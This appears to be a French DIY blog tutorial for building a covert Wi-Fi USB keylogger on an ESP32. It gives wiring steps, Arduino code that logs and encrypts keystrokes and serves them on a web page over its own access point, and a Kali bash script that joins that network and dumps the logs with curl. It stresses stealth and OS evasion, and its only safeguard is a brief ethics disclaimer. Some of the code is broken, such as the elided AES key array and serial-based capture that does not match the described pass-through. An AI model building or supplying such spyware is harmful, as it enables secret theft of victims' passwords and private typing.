🔑 DIY Keylogger USB Wi-Fi : L’Espion Connecté

🎯 Un keylogger Wi-Fi avec une interface web – l’espionnage DIY atteint des sommets !

Ce projet transforme une clé USB en un keylogger furtif qui capture les frappes, les chiffre, et les sert via une interface web accessible par Wi-Fi. On pousse la bidouille au max, avec un contrôle total depuis Kali Linux. À utiliser éthiquement !

1️⃣ Le Projet Ultime

Un keylogger USB qui sniffe en silence, stocke localement, et balance les logs sur un serveur Wi-Fi avec une interface web stylée. Mode furtif, chiffrement, et exfiltration à distance – c’est du DIY de haut vol !

🔍 Fonctionnalités de ouf

  • ⌨️ Capture invisible
  • 🔒 Stockage sécurisé
  • 📡 Interface web live
  • 👻 Bypass OS total

2️⃣ Matériel Récup’

Coût : ~0 € avec récup’, sinon 10 € max.

3️⃣ Montage Électronique

  1. 🔪 Désossez la clé USB, gardez le connecteur.
  2. 🔌 Branchez l’ESP32 :
    • 5V → USB 5V
    • GND → USB GND
    • MicroSD → SPI (pins 5, 18, 19, 23)
  3. 🔨 Fixez dans le boîtier avec colle chaude.

Protip : Testez avec un multimètre avant de tout sceller.

4️⃣ Code : Wi-Fi + Interface

🔧 Code ESP32 (Arduino IDE)

Ci-dessous, le code pour l’ESP32 qui crée un point d’accès Wi-Fi et sert une interface web avec les logs :

#include <WiFi.h>
#include <FS.h>
#include <SPIFFS.h>
#include <ESPAsyncWebServer.h>
#include <AESLib.h>

const char* ssid = "Keylogger-Network";
const char* password = "SuperSecretPass";
uint8_t aes_key[] = {0x00,0x01,0x02 |...| 0x0F}; // Clé AES 16 octets
AsyncWebServer server(80);
String keystrokes = "";

void handleRoot(AsyncWebServerRequest *request) {
  request->send(200, "text/html", "<!DOCTYPE html><html lang='fr'><head><meta charset='UTF-8'><title>Keylogger Wi-Fi Logs</title>"
    "<style>body{font-family:Arial;text-align:center;background:#1e1e1e;color:#39ff14;}"
    "#logContainer{border:1px solid #39ff14;padding:10px;width:80%;margin:auto;text-align:left;white-space:pre-wrap;}"
    "button{margin-top:20px;padding:10px 15px;background:#39ff14;color:black;border:none;cursor:pointer;font-size:16px;}"
    "button:hover{background:#2ecc71;}</style></head>"
    "<body><h1>🔐 Keylogger Wi-Fi - Logs</h1><div id='logContainer'>" + keystrokes + "</div>"
    "<button onclick='location.reload()'>🔄 Rafraîchir</button></body></html>");
}

void setup() {
  Serial.begin(115200);
  SPIFFS.begin();
  WiFi.softAP(ssid, password);
  server.on("/", HTTP_GET, handleRoot);
  server.begin();
}

void loop() {
  if (Serial.available()) {
    char c = Serial.read();
    keystrokes += c;
    File file = SPIFFS.open("/log.txt", "a");
    char encrypted[16];
    AESLib aesLib;
    aesLib.encrypt64(&c, 1, encrypted, aes_key);
    file.write((uint8_t*)encrypted, 16);
    file.close();
  }
}
            

→ Installez les libs via Arduino IDE sous Kali : sudo apt install arduino. Note : Les caractères `<` et `>` sont échappés (< et >) pour éviter l’exécution.

🖥️ Interface Web (à flasher sur l’ESP32)

Voici l’interface que l’ESP32 sert à http://192.168.4.1/. Elle est déjà dans le code ci-dessus :

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Keylogger Wi-Fi Logs</title>
    <style>
        body { font-family: Arial, sans-serif; text-align: center; background-color: #1e1e1e; color: #39ff14; }
        #logContainer { border: 1px solid #39ff14; padding: 10px; width: 80%; margin: auto; text-align: left; white-space: pre-wrap; }
        button { margin-top: 20px; padding: 10px 15px; background: #39ff14; color: black; border: none; cursor: pointer; font-size: 16px; }
        button:hover { background: #2ecc71; }
    </style>
</head>
<body>
    <h1>🔐 Keylogger Wi-Fi - Logs en temps réel</h1>
    <div id="logContainer">Chargement des frappes...</div>
    <button onclick="location.reload()">🔄 Rafraîchir les logs</button>
</body>
</html>
            

→ Pas de JS ici pour éviter l’exécution directe sur ton site. L’ESP32 gère l’affichage.

🛠️ Script Kali pour Connexion

#!/bin/bash
# Connexion au réseau
nmcli dev wifi connect Keylogger-Network password SuperSecretPass
# Ouvrir l’interface
firefox http://192.168.4.1/ &
# Dump local des logs
curl http://192.168.4.1/ > keylog.txt
cat keylog.txt
            

→ chmod +x keylog_connect.sh et testez !

5️⃣ Test et Furtivité

  1. 🔌 Branchez la clé sur un PC.
  2. 📡 Connectez-vous au Wi-Fi "Keylogger-Network".
  3. 🌐 Ouvrez http://192.168.4.1 dans Firefox – logs en live !

→ L’OS ne détecte rien grâce au pass-through USB.

6️⃣ Astuces de Pro

🎓 Conclusion Éthique

Un keylogger USB Wi-Fi avec interface web, c’est du DIY qui en jette : furtif, connecté, et stylé. À utiliser pour apprendre ou tester vos défenses – jamais pour nuire. On bidouille pour le savoir, pas pour le chaos !